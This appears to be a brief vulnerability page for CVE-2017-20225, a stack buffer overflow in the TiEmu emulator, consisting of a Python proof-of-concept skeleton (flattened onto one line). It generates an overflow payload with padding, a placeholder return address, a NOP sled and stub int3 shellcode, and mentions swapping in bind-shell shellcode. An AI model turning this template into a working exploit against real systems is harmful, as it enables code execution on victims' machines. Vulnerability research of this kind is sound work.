CVE-2017-20225 TiEmu栈缓冲区溢出漏洞

import sys import os import struct # Proof of Concept for CVE-2017-20225 # This script generates a payload to trigger the stack-based buffer overflow in TiEmu. # Note: Offsets and addresses need to be adjusted based on the specific environment and binary version. def generate_payload(offset, ret_addr, padding=0): # 1. Padding to reach the return address on the stack buf = b"A" * offset # 2. Overwrite EIP/RIP with a ROP gadget or jump address # This address is hypothetical and requires debugging the binary buf += struct.pack("<I", ret_addr) # 3. NOP sled for shellcode execution buf += b"\x90" * 50 # 4. Shellcode (Example: calc.exe or bind shell) # MSFVenom generated shellcode placeholder shellcode = b"\xcc\xcc\xcc\xcc" # Int3 for testing crash buf += shellcode return buf if __name__ == "__main__": # Configuration # Offset needs to be determined by pattern creation (e.g., metasploit pattern_create) BUFFER_OFFSET = 524 # Return address to pivot execution (e.g., jmp esp) RETURN_ADDRESS = 0xdeadbeef print(f"[*] Generating payload for CVE-2017-20225...") payload = generate_payload(BUFFER_OFFSET, RETURN_ADDRESS) # In a real scenario, this payload would be passed as an argument to TiEmu # Example: /path/to/tiemu "<payload>" print(f"[*] Payload length: {len(payload)} bytes") print(f"[*] Payload (Hex): {payload.hex()}") # Simulate triggering the vulnerability # os.system(f"tiemu {payload}")